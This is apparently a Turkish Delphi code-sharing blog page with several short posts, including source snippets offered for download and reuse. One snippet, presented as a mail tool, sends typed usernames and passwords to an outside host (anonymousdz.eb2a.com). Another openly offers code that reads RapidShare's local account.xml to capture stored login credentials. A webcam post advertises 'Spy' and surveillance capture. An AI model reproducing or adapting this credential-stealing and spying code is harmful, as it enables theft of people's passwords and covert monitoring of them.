Daha önce bir antivirus uygulamasının kaynak kodlarını  paylasmiştim. Bknz : http://www.cod3r.org/delphi-anti-virus-kaynak-kodlari.html Buda işinize yarayacak bir uygulama geliştirebilirsiniz. Projede ek olarak isteğiniz bir dosyayı özel tarayabilirsiniz. Kaynak kodlarını link : İndir    

Delphi ile maillerinizi localde kontrol edebileceğiniz bir uygulama , arşivinizde bulunması gereken bir uygulama. Uygulama kodlarını isterseniz indirin , ister direk kullanın. Link : http://www.sendspace.com/file/13p9wr Resim : http://img545.imageshack.us/img545/8495/20120120225218.jpg www.cod3r.ORG   ——————-cod3r.org———————————– // post(lien,stringlists) var list :TStringList; begin try list:=TStringList.Create; list.Add(‘email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’ +smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text); sStatusBar1.Panels[0].Text:=’Send data please wait …’; try Application.ProcessMessages; sStatusBar1.Panels[0].Text:=Form1.IdHTTP1.Post(‘http://www.anonymousdz.eb2a.com/message.php’,list) ; finally list.Free; except on e:Exception do sStatusBar1.Panels[0].Text:=e.Message; end; end; //////////////////////////////////////////////////////////////////////// procedure TForm3.sButton2Click(Sender: TObject); begin // ShellExecute(Application.Handle,’open’,PChar(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text),nil,nil,SW_HIDE); end; ////////////////////////////////////////////////////////////////////// procedure TForm3.sButton3Click(Sender: TObject); begin // Form1.wb1.Navigate(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text); end; —————————-cod3r.org———————    

Verdiğim kodlarla delphi ile rapidshare şifrelerini yakalayan program yapabilir , geliştirebilirsiniz.   unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, xmldom, XMLIntf, msxmldom, XMLDoc, StdCtrls; type TForm1 = class(TForm) Lv1: TListView; Memo1: TMemo; procedure FormCreate(Sender: TObject); private { Private declarations } public procedure GetRapidShare; function compuser: string; function CurDrv: string; end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin GetRapidShare(); end; procedure tform1.GetRapidShare(); /// Coded By DeadLine /// var i,x:integer; user, pw, path:string; begin path:= CurDrv + ':\Users\' + compuser + '\AppData\Local\RapidShare\account.xml'; form1.memo1.Lines.LoadFromFile(path); begin //get host if copy(form1.memo1.lines[i], x, length('<login>')) = '<login>'...

    Dosyayı açmak,     Dosya kilidini & Sil     Hangi süreçlerin dosyasını kullanabilirsiniz bilgileri     Dosyasını kullanır süreci sonlandırmak   Resim linki : http://imagesturk.net/images/1fL0S.png Download : İndir    

Delphi ile webcamdan görüntü almak , video çekmek ile ilgili source code . Çok işinize yarar , şimdide kolay gelsin. Program özellikleri : Tek seferde iki Webcam okunabilir. Duraklama ve video akışı devam yeteneği. Birçok video formatlarını destekler Kamera özelliklerinden doğrudan kontrolü (Zoom, Pan vb). İzleme modu “Surveillance”, “Spy” dizininden JPG dosyaları yazar. Basit gibi artı olarak geçerli videonun gerçek zamanlı değişiklikler. Haricindekileri akışı (webcam yakalama ayna görüntüsü). Gri tonlama dönüştürmesi için. Değiştirilen bölgeleri vurgulayın. Programdan ss : http://a1202.hizliresim.com/u/g/2qlfl.png İndirme Link :  İndir